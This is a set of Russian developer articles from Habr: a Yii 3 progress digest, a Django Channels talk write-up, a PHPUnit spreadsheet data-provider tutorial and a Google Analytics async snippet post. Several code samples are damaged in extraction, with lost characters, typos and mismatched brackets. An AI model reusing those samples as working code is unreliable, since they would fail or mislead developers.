Оба пакета изначально были портированы из Yii 2 почти как есть. Была убрана магия, добавлены типы, покрытие тестами доведено почти до 100%. Но, несмотря на то что пакеты стали даже лучше, чем Yii 2, дизайн сохранился примерно в том же виде. Нам предстоит трудный выбор, релизить ли первую версию как есть или же сначала затеять гигантский рефакторинг.
Скорее всего выберем первое.
#### yii-web
* [Middleware теперь иммутабельны](https://github.com/yiisoft/yii-web/pull/353).
#### User
Значительно переделали пакет:
* [Один](https://github.com/yiisoft/user/pull/20)
* [Два](https://github.com/yiisoft/user/pull/24)
* [Три](https://github.com/yiisoft/user/pull/29)
Всё ещё не до конца довольны. Скорее всего будем переделывать ещё.
#### Bootstrap и Bulma
* Убили пакет Bootstrap 4.
* [В Bootstrap добавили виджет Toast](https://github.com/yiisoft/yii-bootstrap5/pull/31).
* [В Bulma добавили виджет Panel](https://github.com/yiisoft/yii-bulma/pull/29)
* Все методы конфигурации сделали иммутабельными.
* Оба пакета адаптированы к изменениям в пакете HTML.
#### Консоль
Появилась [возможность добавлять команды со своим именем](https://github.com/yiisoft/yii-console/pull/103).
#### Debugger
Есть прогресс как в API, так и на фронтенде.
* Сбор данных стал ещё более стабильным.
* Начали собирать данные с роутера. [Для этого используется container proxy, что позволило совсем не менять сам пакет роутера](https://github.com/yiisoft/yii-debug/pull/88).
* [Добавлена консольная команда для сброса собранных данных](https://github.com/yiisoft/yii-debug/pull/91).
* На фронтенде добавили сортировку в списке запросов.
#### Docker
[Добавлена поддержка PHP 8](https://github.com/yiisoft/yii-docker/pull/15).
#### Инструментарий разработки фреймворка
Улучшили [инструментарий](https://github.com/yiisoft/yii-dev-tool) чтобы можно было удобно работать даже не поставив все пакеты. Улучшили точность фиксера зависимостей. Добавили новую команды `release/what`. Она подсказываем какой пакет релизить следующим. Приоритет отдаётся пакетам без нестабильных зависимостей и, при этом, блокирующих как можно больше релизов других пакетов.
#### Шаблоны приложений
* [К веб-шаблонам применён view injection](https://github.com/yiisoft/app/pull/119).
* [Layout влит в один файл](https://github.com/yiisoft/app/pull/122).
* [Решили называть роут индексной страницы "home"](https://github.com/yiisoft/app/pull/123).
* Применили новый yiisoft/config.
* [Реализовали концепт application runner](https://github.com/yiisoft/app-api/pull/46).
* [Добавили проверку обработчиков событий](https://github.com/yiisoft/app-api/pull/49).
* Убрали демо-части из [app-api](https://github.com/yiisoft/app-api/) в [demo-api](https://github.com/yiisoft/demo-api).
* [Перестали создавать формы при помощи контейнера](https://github.com/yiisoft/yii-demo/pull/230).
### Новая и обновлённая документация
* [DI container readme](https://github.com/yiisoft/di/blob/master/README.md)
* [010 - Code Style](https://github.com/yiisoft/docs/blob/master/010-code-style.md)
* [017 - Tags](https://github.com/yiisoft/docs/blob/master/017-tags.md)
* [018 - Widgets](https://github.com/yiisoft/docs/blob/master/018-widgets.md)
* [019 - View code style](https://github.com/yiisoft/docs/blob/master/019-view-code-style.md)
* [Configuring SSL peer validation](https://github.com/yiisoft/docs/commit/d3be9cfbd02c3546922412914a450a7d3170f22c)
* [Handling errors](https://github.com/yiisoft/docs/blob/master/guide/en/runtime/handling-errors.md)
* [Mailing](https://github.com/yiisoft/docs/blob/master/guide/en/runtime/mailing.md)
### Почитать-посмотреть
* [Building E-commerce website with Yii2](https://yiifeed.com/news/509/building-e-commerce-website-with-yii2).
* [Вышел RoadRunner 2](https://github.com/spiral/roadrunner).
* [647 проектов на YiiPowered](https://yiipowered.com/).
* [Черновик интерактивного шелла для Yii 3](https://github.com/Nex-Otaku/yii-shell).
* [Пакет для превращения в ссылки email-ов и URL-ов в тексте](https://github.com/vjik/linkify).
* [Does it belong in the application or domain layer?](https://matthiasnoback.nl/2021/02/does-it-belong-in-the-application-or-domain-layer/).
* [Object properties and immutability](https://peakd.com/hive-168588/@crell/object-properties-and-immutability).
* [Contract tests](https://www.kai-sassnowski.com/post/contract-tests/).
### ❤️ Спасибо!
Хочу сказать спасибо всем спонсорам и разработчикам, благодаря которым стала возможна разработка Yii 3. Вместе у нас всё получится.
Я понял, что ранее не писал о компаниях, которые поддерживают разработку Yii. Вот самые большие спонсоры с коротким описанием:
* [CraftCMS](https://craftcms.com/) - Отличная OpenSource CMS на Yii2.
* [Onetwist Software](https://www.onetwist.com/) - Услуги качественной разработки приложений.
* [SkillShare](https://www.skillshare.com/) - Обучение новым навыкам.
* [Betteridge](https://www.betteridge.com/) - Ювелирные изделия.
* [dmstr](https://www.dmstr.io/en) - Облачные решения на основе Docker.
* [HumHub](https://www.humhub.com/en) - OpenSource решения для общения команды.
* [JetBrains](https://www.jetbrains.com/) - Отличные инструменты для разработки.
* [Skin.Club](https://skin.club/) - Рынок скинов для CS:GO.
* [ЭФКО](https://www.efko.ru/) - фудтех, производство продуктов питания, и венчурные инвестиции. С недавнего времени ещё и ЭФКО Цифровые Решения, отдельная растущая сервисная IT-компания, которая планирует заниматься не только внутренними проектами ЭФКО.
Кроме перечисленных нас поддерживают [отдельные разработчики и другие компании](https://opencollective.com/yiisoft).
Отдельное спасибо тем, кто помог Yii 3 кодом:
* [Wilmer Arambula](https://github.com/terabytesoftw).
* [Rustam Mamadaminov](https://github.com/rustamwin).
* [Viktor Babanov](https://github.com/viktorprogger).
* [Valerii Gorbachev](https://github.com/darkdef).
* [Evgeniy Zyubin](https://github.com/devanych).
* [Roman Tsurkanu](https://github.com/romkatsu).
* [Aleksei Gagarin](https://github.com/roxblnfk).
* [Dmitry Derepko](https://github.com/xepozz).
* [Alexander Nekrasov](https://github.com/thenotsoft).
* [yiiliveext](https://github.com/yiiliveext).
* [Sergei Predvoditelev](https://github.com/vjik).
* [mj4444ru](https://github.com/mj4444ru).
* [Michael Härtl](https://github.com/mikehaertl).
* [Vitalii Shkolin](https://github.com/shkolin).
* [Insolita](https://github.com/Insolita).
* [Leonid Chernenko](https://github.com/Nex-Otaku).
* [Anton Samoylenko](https://github.com/Fantom409).
* [Mister 42](https://github.com/Mister-42).
* [Evgeniy Tkachenko](https://github.com/githubjeka).
* [Julian Schmidt](https://github.com/Julian-B90).
* [Artur Avdonin](https://github.com/art009).
* [l317crew](https://github.com/l317crew).
* [Arman Poghosyan](https://github.com/armpogart).
* [Dmitry Naumenko](https://github.com/SilverFire).
* [Andrii Dembitskyi](https://github.com/andrew-demb).
* [Alexey Gevondyan](https://github.com/alexgivi).
* [Milen Hristov](https://github.com/schmasterz).
* [Sagittaracc](https://github.com/sagittaracc).
* [Marko Kaznovac](https://github.com/kaznovac).
* [kriptonuz](https://github.com/kriptonuz). | https://habr.com/ru/post/545616/ | null | ru | null |
# Django Channels – ответ современному вебу
В мире Django набирает популярность дополнение Django Channels. Эта библиотека должна принести в Django асинхронное сетевое программирование, которое мы так долго ждали. **Артём Малышев** на Moscow Python Conf 2017 объяснил, как это делает первая версия библиотеки (сейчас автор уже запилил channels2), зачем она это делает и делает ли вообще.
Прежде всего, дзен Python говорит, что любое решение должно быть единственное. Поэтому **в Python всего минимум по три**. Сетевых асинхронных фреймворков уже существует большое множество:
* Twisted;
* Eventlet;
* Gevent;
* Tornado;
* Asyncio.
Казалось бы, зачем писать еще одну библиотеку и надо ли вообще.
***О спикере:*** Артём Малышев независимый Python разработчик. Занимается разработкой распределённых систем, выступает на конференциях по Python. Артёма можно найти по никнейму [PROOFIT404](https://habr.com/ru/users/proofit404/) на Github и в социальных сетях.
**Django синхронный по определению**. Если мы говорим об ORM, то синхронно обратиться к базе во время attribute access, когда мы пишем, например, post.author.username, ничего не стоит.
К тому же Django — это WSGI фреймворк
WSGI
----
WSGI — это синхронный интерфейс для работы с веб-серверами.
```
def app (environ, callback) :
status, headers = '200 OK', []
callback (status, headers)
return ['Hello world!\n']
```
Его основной особенностью является то, что у нас есть функция, которая принимает аргумент и сразу же возвращает значение. Это все, что может ждать от нас веб-сервер. **Никакой асинхронщинной и не пахнет**.
Сделано это было давным-давно, в далеком 2003 году, когда web был простой, пользователи читали в интернете всякие новости, заходили в гостевые книги. Достаточно было просто принять запрос и обработать его. Дать ответ и забыть о том, что этот пользователь вообще был.
Но, на секундочку, сейчас не 2003 год, поэтому пользователи хотят от нас намного большего.
Они хотят Rich web application, живой контент, хотят, чтобы приложение работало замечательно на десктопе, на лэптопе, на других топах, на часах. Самое главное, **пользователи не хотят нажимать F5**, потому что, например, на планшетах нет такой кнопки.
Веб-браузеры, естественно, идут нам на встречу — они добавляют новые протоколы и новые возможности. Если бы мы с вами разрабатывали только фронтенд, то мы просто брали бы браузер как платформу и использовали бы его core фичи, поскольку он готов их нам предоставить.
**Но, для программистов бэкенда все очень сильно поменялось**. Веб-сокеты, HTTP2 и тому подобное — это огромная боль с точки зрения архитектуры, потому что это долгоживущие коннекты со своими состояниями, которые нужно как-то обрабатывать.
Именно эту проблему и пытается решить Django Channels для Django. Эта библиотека призвана дать вам возможность обрабатывать коннекты, оставив Django Core, к которому мы привыкли, абсолютно неизменным.
Сделал это замечательный человек [**Andrew Godwin**](https://github.com/andrewgodwin), обладатель ужасного английского акцента, который говорит очень быстро. Он должен быть вам известен по таким штукам, как давно забытый Django South и Django Migrations, которые пришли к нам с версии 1.7. С тех пор, как он починил миграции для Django, он занялся тем, что начал чинить веб-сокеты и HTTP2.
Каким образом он это сделал? Давным-давно по интернету ходила такая картинка: пустые квадратики, стрелочки, надпись «Хорошая архитектура» — вписываете в эти квадратики свои любимые технологии, получаете сайт, который хорошо масштабируется.
Andrew Godwin вписал в эти квадратики сервер, который стоит фронтом и принимает любые запросы, будь они асинхронные, синхронные, e-mail, что угодно. Между ними стоит так называемый Channel Layer, который принятые сообщения хранит в формате, доступном для пула синхронных воркеров. Как только ассинхронный коннект что-то нам прислал, мы записываем это в Channel Layer, а далее синхронный воркер может его забирать оттуда и обрабатывать точно так же, как это делает любая Django View или что угодно другое, синхронно. Как только синхронный код отправил обратно в Channel Layer ответ, асинхронный сервер будет его отдавать, стримить, делать все, что ему нужно. Тем самым производится абстракция.
Это подразумевает несколько реализаций и в продакшене предлагается использовать **Twisted, как асинхронный сервер**, который реализует фронтенд для Django, и **Redis**, который будет тем самым каналом общения между синхронным Django и асинхронным Twisted.
> Хорошая новость: для того, чтобы использовать Django Channels, вам вообще не нужно знать ни Twisted, ни Redis — это все детали реализации. Это будут знать ваш DevOps, или вы познакомитесь, когда будете чинить в три часа ночи упавший продакшен.
ASGI
----
Абстракция — это протокол под названием ASGI. Это стандартный интерфейс, который лежит между любым сетевым интерфейсом, сервером, будь то синхронный или асинхронный протокол и вашим приложением. Основным его понятием является канал.
### Channel
Канал — это, упорядоченная по принципу first-in-first-out, очередь сообщений, которые обладают временем жизни. Эти сообщения могут быть доставлены ноль или один раз, и могут быть получены только одним Consumer’ом.
### Consumers
В Consumer вы как раз пишете ваш код.
```
def ws_message (message) :
message.reply_channel.send ( {
'text': message.content ['text'],
} )
```
Функция, которая принимает message, может отослать несколько ответов, а может не отсылать ответ вообще. Очень похоже на view, единственная разница в том, что здесь нет функции return, тем самым мы можем говорить о том, сколько ответов мы возвращаем из функции.
Добавляем эту функцию в routing, например, вешаем ее на получение сообщения по веб-сокету.
```
from channels.routing import route
from myapp.consumers import ws_message
channel_routing = [
route ('websocket.receive' ws_message),
}
```
Прописываем это в Django settings, также, как прописывали бы база данных.
```
CHANNEL_LAYERS = {
'default': {
'BACKEND': 'asgiref.inmemory',
'ROUTING': 'myproject.routing',
},
}
```
В проекте может быть несколько Channel Layers, точно также как может быть несколько баз данных. Эта штука очень похожа на db router, если кто-то этим пользовался.
Далее мы определяем наше ASGI приложение. В нем синхронизируется то, как запускается Twisted и то, как запускаются синхронные воркеры — им всем нужно это приложение.
```
import os
from channels.asgi import get_channel_layer
os.environ.setdefault(
'DJANGO_SETTINGS_MODULE',
'myproject.settings',
)
channel_layer = get_channel_layer()
```
После этого, деплоим код: запускаем gunicorn, стандартно отправляем HTTP-запрос, синхронно, с view, как привыкли. Запускаем асинхронный сервер, который будет стоять фронтом перед нашей синхронной Django, и воркеры, которые будут обрабатывать сообщения.
```
$ gunicorn myproject.wsgi
$ daphne myproject.asgi:channel_layer
$ django-admin runworker
```
### Reply channel
Как мы видели, у message есть такое понятие как Reply channel. Зачем это нужно?
Сhannel однонаправленный, соответственно WebSocket receive, WebSocket connect, WebSocket disconnect — это общий channel на систему для входных сообщений. А Reply channel — это channel, который строго привязан к коннекту пользователя. Соответственно, message имеет входной и выходной канал. Эта пара позволяет вам идентифицировать от кого вам пришло это сообщение.
### Groups
Группа — это набор каналов. Если мы посылаем сообщение в группу, то оно автоматически рассылается всем каналам этой группы. Это удобно, потому что никто не любит писать циклы for. Плюс реализация групп обычно сделана с помощью нативных функций Channel layer, поэтому работает быстрее, чем просто рассылка сообщений по одному.
```
from channels import Group
def ws_connect (message):
Group ('chat').add (message.reply_channel)
def ws_disconnect (message):
Group ('chat').discard(message.reply_channel)
def ws_message (message):
Group ('chat'). Send ({
'text': message.content ['text'],
})
```
Группы точно также добавляются в routing.
```
from channels.routing import route
from myapp.consumers import *
channel_routing = [
route ('websocket.connect' , ws_connect),
route ('websocket.disconnect' , ws_disconnect),
route ('websocket.receive' , ws_message),
]
```
И как только канал добавляется в группу, reply будет уходить всем пользователям, которые подключились к нашему сайту, а не только echo-ответ на нас самих.
### Generic consumers
За что я люблю Django — это за декларативность. Точно также есть декларативные Consumers.
Base Consumer — базовый, умеет только маппить channel, который вы определили на какой-то свой метод и вызывать его.
```
from channels.generic import BaseConsumer
class MyComsumer (BaseConsumer) :
method_mapping = {
'channel.name.here': 'method_name',
}
def method_name (self, message, **kwargs) :
pass
```
Есть большое количество предопределенных consumers с заведомо дополненным поведением, таких как WebSocket Consumer, который заранее определяет, что он будет обрабатывать WebSocket connect, WebSocket receive, WebSocket disconnect. Можно сразу указать, в какие группы добавлять reply channel, и как только вы будете использовать self.send он будет понимать, послать это в группу или одному пользователю.
```
from channels.generic import WebsocketConsumer
class MyConsumer (WebsocketConsumer) :
def connection_groups (self) :
return ['chat']
def connect (self, message) :
pass
def receive (self, text=None, bytes=None) :
self.send (text=text, bytes=bytes)
```
Также есть вариант WebSocket consumer с JSON, то есть в receive будет приходить не текст, не байты, а уже распаршенный JSON — это удобно.
В routing он добавляется точно также через route\_class. В route\_class берется myapp, который определяется из consumer, оттуда берутся все channel’ы и роутятся все channel указанные в myapp. Писать таким образом меньше.
Routing
-------
Поговорим детально о routing и том, что он нам предоставляет.
Во-первых, это фильтры.
```
// app.js
S = new WebSocket ('ws://localhost:8000/chat/')
# routing.py
route('websocket.connect', ws_connect,
path=r’^/chat/$’)
```
Это может быть path, который пришел нам из URI коннекта веб-сокета, или метод http-запроса. Это может быть любое поле сообщения из channel, например, для e-mail: текст, body, carbon copy, что угодно. Количество keyword аргументов у route — произвольное.
Routing позволяет делать вложенные route. Если несколько consumers определяются какими-то общими характеристиками, удобно сгруппировать их и добавить в route всех сразу.
```
from channels import route, include
blog_routes = [
route ( 'websocket.connect', blog,
path = r’^/stream/’) ,
]
routing = [
include (blog_routes, path= r’^/blog’ ),
]
```
Multiplexing
------------
Если мы открываем несколько веб-сокетов, у каждого разное URI, и мы можем повесить на них несколько handler’ов. Но скажем честно, открывать несколько коннектов только для того, чтобы на бэкенде сделать что-то красивое, не похоже на инженерный подход.
Поэтому есть возможность по одному веб-сокету вызывать несколько handler’ов. Мы определяем такую WebsocketDemultiplexer, который оперирует понятием stream в рамках одного веб-сокета. Через этот stream он будет перенаправлять ваше сообщение в другой канал.
```
from channels import WebsocketDemultiplexer
class Demultiplexer (WebsocketDemultiplexer) :
mapping = {
'intval': 'binding.intval',
}
```
В routing мультиплексер добавляется точно также, как и в любой другой декларативный consumer route\_class.
```
from channels import route_class, route
from .consumers import Demultiplexer, ws_message
channel_routing = [
route_class (Demultiplexer, path=’^/binding/’) ,
route ('binding.intval', ws_message ) ,
]
```
В message добавляется аргумент stream, чтобы мультиплексер мог понять, куда ему положить данный message. В аргументе payload присутствует все то, что уйдет в channel после того, как его обработает мультиплексер.
Очень важно отметить, что в Channel Layer, message попадет **два раза**: до мультиплексера и после мультиплексера. Таким образом, как только вы начинаете использовать мультиплексер, вы автоматически добавляете latency в свои запросы.
```
{
"stream" : "intval",
"payload" : {
…
}
}
```
Sessions
--------
У каждого channel есть свои сессии. Это очень удобная штука, чтобы, например, хранить state между вызовами handler’ов. Сгруппировать их можно по reply channel, поскольку это идентификатор, который принадлежит пользователю. Сессия хранится в том же самом движке, в котором хранится обычная http сессия. По понятным причинам, signed cookie не поддерживается, их просто нет в веб-сокете.
```
from channels.sessions import channel_session
@channel_session
def ws_connect(message) :
room=message.content ['path']
message.channel_session ['room'] = room
Croup ('chat-%s' % room).add (
message.reply_channel
)
```
Во время коннекта вы можете получить http сессию и использовать ее в ваших consumer. Как часть negotiation process, установки соединения веб-сокета, передаются cookies пользователя. Соответственно поэтому вы можете получить сессию пользователя, получить объект пользователя, который вы до этого обычно использовали в Django, точно также, как будто работаете с view.
```
from channels.sessions import http_session_user
@http_session_user
def ws_connect(message) :
message.http_session ['room'] = room
if message.user.username :
…
```
Message order
-------------
Channels позволяет решить очень важную проблему. Если мы устанавливаем соединение с веб-сокетом и сразу делаем send, то это приводит к тому, что два события — WebSocket connect и WebSocket receive — по времени очень близки. Очень вероятно, что consumer для этих веб-сокетов будут выполняться параллельно. Отлаживать это будет очень весело.
Django channels позволяет вводить lock двух видов:
1. **Легкий** **lock**. С помощью механизма сессий, мы гарантируем, что пока не обработается consumer на получение сообщения, мы не будем обрабатывать никакие message по веб-сокетам. После того, как соединение установлено, порядок произвольный, возможно параллельное выполнение.
2. **Жесткий** **lock** — в один момент времени выполняется только один consumer конкретного пользователя. Это overhead по синхронизации, поскольку используется медленный движок сессий. Тем не менее такая возможность есть.
```
from channels.generic import WebsocketConsumer
class MyConsumer(WebsocketConsumer) :
http_user = True
slight_ordering = True
strict_ordering = False
def connection_groups (self, **kwargs) :
return ['chat']
```
Для того, чтобы это написать, есть такие же декораторы, которые мы видели ранее в http session, channel session. В декларативных consumer можно писать просто атрибуты, как только вы это их напишите, это автоматически применится ко всем методам данного consumer.
Data binding
------------
В свое время прославился Meteor за Data binding.
Открываем два браузера, заходим на одну и ту же страницу, и в одном из них кликаем на скролл-бар. При этом во втором браузере, на этой странице скролл-бар меняет своё значение. Это клево.
```
class IntegerValueBinding (WebsocketBinding) :
model = IntegerValue
stream = intval'
fields= ['name', 'value']
def group_names (self, instance, action ) :
return ['intval-updates']
def has_permission (self, user, action, pk) :
return True
```
Django теперь умеет точно так же.
Это реализуется с помощью hook’ов, которые предоставляет **Django Signals**. Если определен binding для модели, все соединения, которые находятся в группе для данного instance модели будут оповещены о каждом событии. Создали модель, изменили модель, удалили её — всё это будет в оповещение. Оповещение происходит по указанным полям: изменилось значение этого поля — формируется payload, отправляется по веб-сокету. Это удобно.
Важно понимать, что если в нашем примере постоянно кликать скролл-бар, то и постоянно будут идти сообщения и сохраняться модель. Это будет работать до определенной нагрузки, потом всё упрется в базу.
Redis Layer
-----------
Поговорим чуть подробнее о том, как устроен самый популярный Channel Layer для продакшена — Redis.
Устроен он неплохо:
* работает с синхронными коннектами на уровне воркеров;
* очень дружественен к Twisted, не тормозит, там, где это особо необходимо, то есть на вашем фронтовом сервере;
* используется MSGPACK для сериализации сообщений внутри Redis, что позволяет уменьшить footprint на каждое сообщение;
* можно распределить нагрузку на несколько экземпляров Redis, она будет автоматически шардиться с помощью алгоритма консистентного хэша. Тем самым, исчезает единая точка отказа.
Канал представляет собой просто список id из Redis. По id находится значение конкретного сообщения. Сделано это для того, чтобы можно было контролировать срок жизни каждого сообщения и канала отдельно. В принципе, это логично.
```
>> SET "b6dc0dfce" " \x81\xa4text\xachello"
>> RPUSH "websocket.send!sGOpfny" "b6dc0dfce"
>> EXPIRE "b6dc0dfce" "60"
>> EXPIRE "websocket.send!sGOpfny" "61"
```
Группы реализованы сортированными множествами. Рассылка на группы выполняется внутри Lua-скрипта — это очень быстро.
```
>> type group:chat
zset
>> ZRANGE group:chat 0 1 WITHSCORES
1) "websocket.send!sGOpfny"
2) "1476199781.8159261"
```
Problems
--------
Посмотрим, какие проблемы у этого подхода.
### Callback Hell
Первая проблема — это заново изобретенный callback hell. Очень важно понимать, что большая часть проблем с каналами, с которыми вы столкнетесь, будут в стиле: в consumer пришли аргументы, которых он не ждал. Откуда они пришли, кто их положил в Redis — все это сомнительная задача на расследование. Отладка распределенных систем вообще для сильных духом. AsyncIO решает эту проблему.
### Celery
В интернете пишут, что Django Channels — это замена Celery.
У меня для вас плохие новости — нет, это не так.
В channels:
* нет retry, нельзя отложить выполнение handler;
* нет canvas — есть просто callback. Celery же предоставляет группы, chain, мою любимую chord, которая после параллельного выполнения групп вызывает еще один callback с синхронизацией. Всего этого нет в channels;
* нет задания времени прибытия сообщений, некоторые системы без этого просто невозможно проектировать.
> Я вижу будущее, как официальную поддержку использования channels и celery вместе, с минимальными затратами, с минимальными усилиями. Но Django Channels — это не замена Celery.
>
>
Django для современного web
---------------------------
Django Channels — это Django для современного web. Это тот самый Django, который мы все привыкли использовать: синхронный, декларативный, с большим количеством батареек. Django Channels — это всего лишь плюс одна батарейка. Всегда надо понимать, где её использовать и стоит ли это делать. Если в проекте Django не нужен, то и Channels там не нужны. Они полезны только в тех проектах, в которых оправдан Django.
> **[Moscow Python Conf++](https://conf.python.ru/)**
>
>
>
> Профессиональная конференция для Python-разработчиков выходит на новый уровень — **22 и 23 октября** 2018 соберем 600 лучших Python-программистов России, представим самые интересные доклады и, конечно же, создадим среду для нетворкинга в лучших традициях сообщества Moscow Python при поддержке команды «Онтико».
>
>
>
> Приглашаем специалистов выступить с докладом. Программный комитет уже работает и принимает [заявки](https://conf.ontico.ru/lectures/propose?conference=mpc2018) до 7 сентября.
>
>
>
> Для участников ведется онлайн мозговой штурм по программе. В этот [документ](https://docs.google.com/document/d/1gMGasJQ2hHOHXa3mWlF74cFMUwJtGG8CX8_PdZez090/edit) можно внести недостающие темы или сразу спикеров, выступления которых вам интересны. Документ будет актуализироваться, фактически, вы все время сможете следить за формированием программы.
>
> | https://habr.com/ru/post/418445/ | null | ru | null |
# PHPUnit: Электронная таблица (spreadsheet) в качестве источника данных (data provider)
В документации PHPUnit есть небольшой [раздел](https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers) посвященный источникам данных (data provider), которые позволяют скормить тесту большой объем данных, а чуть ниже есть даже пример источника данных для CSV файла.
Конечно же, использовать полноценную электронную таблицу (spreadsheet)!
Договоримся что:
* Для каждого файла-теста существует свой файл с данными (всего один, вместо кучи CSV файлов)
* Данные внутри файла хранятся на отдельных страницах по одной для каждого теста, название страницы совпадает с названием теста (то ради чего все и затевалось)
И сразу перейдем к делу (минимум текста, максимум кода), весь код также доступен по ссылке внизу заметки:
#### Шаг #1: Зависимости
Нам понадобится (`composer.json`):
```
{
"name": "PHPUnitSpreadsheetDataProvider",
"require": {
"php": ">=5.5.0",
"phpunit/phpunit": "4.5.*",
"phpoffice/phpexcel": "1.8.*"
},
"autoload": {
"classmap": [
"src/"
]
}
}
```
#### Шаг #2: Основная логика
Всё сводится к тому чтобы добавить собственный метод который будет получать данные из файла и превращать их в источник данных для тестов.
Получение:
```
php
// PHPUnitTestCase.php
trait PHPUnitSDP_PHPUnitTestCase {
/**
* @var PHPExcel_Reader_IReader|PHPExcel_Reader_Abstract
*/
private $_reader;
/**
* Возвращает пусть к ресурсу для теста.
*
* @param string $resource
*
* @return string
*/
protected function getTestResource($resource = null) {
$path = (new ReflectionClass($this))-getFileName();
$dirname = pathinfo($path, PATHINFO_DIRNAME);
$filename = pathinfo($path, PATHINFO_FILENAME);
$resource = $resource ?: 'xml';
return "{$dirname}/{$filename}.{$resource}";
}
/**
* Возвращает данные для теста.
*
* @param string $test
*
* @return array|Iterator
*/
public function getTestDataProvider($test) {
// Файл
$position = 2;
$resource = $this->getTestResource('data.ods');
// Reader?
if (is_null($this->_reader)) {
$this->_reader = PHPExcel_IOFactory::createReaderForFile($resource);
}
// Настройки
$this->_reader->setReadDataOnly(true);
$this->_reader->setLoadSheetsOnly($test);
// Данные
return new PHPUnitSDP_PHPExcelWorksheetRowIterator(
$this->_reader->load($resource)->getActiveSheet(), $position);
}
}
```
Внимания заслуживают два момента (остальное, надеюсь, очевидно):
1. `$position = 2;` — первая строка (нумерация начинается с 1) с данными, всё что до неё можно использовать для комментариев (см. пример ниже)
2. `$resource` — определяет название файла с данными, в данном случае это "`ИмяТеста.data.ods`"
Превращение:
```
php
// PHPExcelWorksheetRowIterator.php
class PHPUnitSDP_PHPExcelWorksheetRowIterator extends PHPExcel_Worksheet_RowIterator {
/**
* @return array
*/
public function current() {
$current = array();
foreach (parent::current()-getCellIterator() as $cell) {
/* @var $cell PHPExcel_Cell */
$current[] = $this->getValue($cell->getCalculatedValue());
}
return $current;
}
/**
* @param mixed $value
*
* @return mixed
*/
protected function getValue($value) {
switch (mb_strtolower(trim($value))) {
case 'null':
$value = null;
break;
case 'true':
$value = true;
break;
case 'false':
$value = false;
break;
default:
/* empty */
break;
}
return $value;
}
}
```
Из особенностей стоит отметить возможность использования формул в ячейках, но от отдельного метода для конвертации значений отказаться все равно не получится — во-первых не для всех типов данных есть необходимые функции (тот же `NULL`), во-вторых вычисление формул требует времени и ресурсов.
#### Шаг #3: Данные
#### Шаг #4: Тест
```
// SDPTest.php
class SDPTest extends PHPUnit_Framework_TestCase {
use PHPUnitSDP_PHPUnitTestCase;
/**
* @dataProvider getTestDataProvider
*
* @param number $base
* @param number $exp
* @param number $expected
*
* @return void
*/
public function testPow($base, $exp, $expected) {
$this->assertEquals($expected, pow($base, $exp));
}
/**
* @dataProvider getTestDataProvider
*
* @param number $arg
* @param number $expected
*
* @return void
*/
public function testSqrt($arg, $expected) {
$this->assertEquals($expected, sqrt($arg));
}
}
```
Вся магия заключена в аннотации `@dataProvider getTestDataProvider` — перед запуском теста PHPUnit вызовет определенный ранее метод `PHPUnitSDP_PHPUnitTestCase::getTestDataProvider()` с аргументом в котором содержится название теста и получит необходимый источник данных.
#### Шаг #5: Результат
```
PHPUnitSpreadsheetDataProvider> phpunit
PHPUnit 4.5.0 by Sebastian Bergmann and contributors.
Configuration read from PHPUnitSpreadsheetDataProvider/phpunit.xml
......F
Time: 158 ms, Memory: 8.75Mb
There was 1 failure:
1) SDPTest::testSqrt with data set #4 (4.0, 3.0)
Failed asserting that 2.0 matches expected 3.0.
PHPUnitSpreadsheetDataProvider/tests/SDPTest.php:28
phar://PHPUnitSpreadsheetDataProvider/phpunit.phar/phpunit/TextUI/Command.php:152
phar://PHPUnitSpreadsheetDataProvider/phpunit.phar/phpunit/TextUI/Command.php:104
FAILURES!
Tests: 7, Assertions: 7, Failures: 1.
```
#### Заключение
Надеюсь данный рецепт кому-нибудь пригодится :)
Проект: [yadi.sk/d/AyegnPCqf7i9Y](https://yadi.sk/d/AyegnPCqf7i9Y) | https://habr.com/ru/post/252489/ | null | ru | null |
# Теперь Google Analytics работает Асинхронно
Новый код выглядит вот так:
> `var \_gaq = \_gaq || [];
>
> \_gaq.push(['\_setAccount', 'UA-XXXXX-X']);
>
> \_gaq.push(['\_trackPageview']);
>
>
>
> (function() {
>
> var ga = document.createElement('script');
>
> ga.src = ('https:' == document.location.protocol ? 'https://ssl' :
>
> 'http://www') + '.google-analytics.com/ga.js';
>
> ga.setAttribute('async', 'true');
>
> document.documentElement.firstChild.appendChild(ga);
>
> })();`
Это значит, что гугл.аналитикс больше не замедлит загрузку вашего сайта :)
**UPD:** То есть, он скачивал свой 24кб ga.js во время загрузки страницы, теперь он это может делать после…
Но после первой загрузки, он обычно закэширован и на всех остальных сайтах используется один и тот же :)
Материалы по теме:* [UserGide](http://code.google.com/intl/ru-RU/apis/analytics/docs/tracking/asyncUsageGuide.html)
* [Как переехать со старого кода](http://code.google.com/intl/ru-RU/apis/analytics/docs/tracking/asyncMigrationExamples.html)
#### Учитываем СНГ поисковики
> `var \_gaq = \_gaq || [];
>
> \_gaq.push(
>
> ['\_setAccount', 'UA-XXXXXX-X'],
>
> ['\_setDomainName', 'your.domain.name'],
>
> ["\_addOrganic", "mail.ru", "q"],
>
> ["\_addOrganic","rambler.ru", "words"],
>
> ["\_addOrganic","nigma.ru", "s"],
>
> ["\_addOrganic","blogs.yandex.ru", "text"],
>
> ["\_addOrganic","webalta.ru", "q"],
>
> ["\_addOrganic","aport.ru", "r"],
>
> ["\_addOrganic","akavita.by", "z"],
>
> ["\_addOrganic","meta.ua", "q"],
>
> ["\_addOrganic","bigmir.net", "q"],
>
> ["\_addOrganic","tut.by", "query"],
>
> ["\_addOrganic","all.by", "query"],
>
> ["\_addOrganic","i.ua", "q"],
>
> ["\_addOrganic","online.ua", "q"],
>
> ["\_addOrganic","a.ua", "s"],
>
> ["\_addOrganic","ukr.net", "search\_query"],
>
> ["\_addOrganic","search.com.ua", "q"],
>
> ["\_addOrganic","search.ua", "query"],
>
> ["\_addOrganic","poisk.ru", "text"],
>
> ["\_addOrganic","km.ru", "sq"],
>
> ["\_addOrganic","liveinternet.ru", "ask"],
>
> ["\_addOrganic","gogo.ru", "q"],
>
> ["\_addOrganic","gde.ru", "keywords"],
>
> ["\_addOrganic","quintura.ru", "request"],
>
> ['\_trackPageview']
>
> );
>
>
>
> (function() {
>
> var ga = document.createElement('script');
>
> ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
>
> ga.setAttribute('async', 'true');
>
> document.documentElement.firstChild.appendChild(ga);
>
> })();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.` | https://habr.com/ru/post/77123/ | null | ru | null |
# Полная поддержка популярных реализаций Docker Registry в werf
